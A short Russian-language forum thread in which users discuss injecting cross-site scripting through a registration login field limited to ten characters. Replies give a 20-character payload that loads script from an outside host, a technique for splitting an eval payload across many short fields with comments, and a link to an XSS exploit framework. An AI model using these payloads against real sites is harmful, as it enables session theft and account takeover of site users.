Про xss

А вот если например на сайте при регистрации можно вводить в поле логин: <script>alert</script>
Есть вероятность что он сработает ? И можно ли сделать что-то? . Ой проблема больше 10 символов нельзя,можно ли как то укоротить ? .

 

alert()

вектора в 10 символов не бывает.

 

yarbabin, Можно уложиться в 20 символов:

Code:

<script/src=//ab.ru>

Можно уложиться в 10 за несколько раз:

Code:

<script>/*
*/eval(/*
*/'zzz'+/*
*/'zzz'+/*
...
*/'zzzz'/*
*/+'z');/*
*/</script

Официальная теория на сегодняшний день не предлагает ничего больше.

 

Вот посмотри софт http://xenotix.in/
https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework
и видео по нему

Code:

https://www.youtube.com/user/ajinabrahamofficial/videos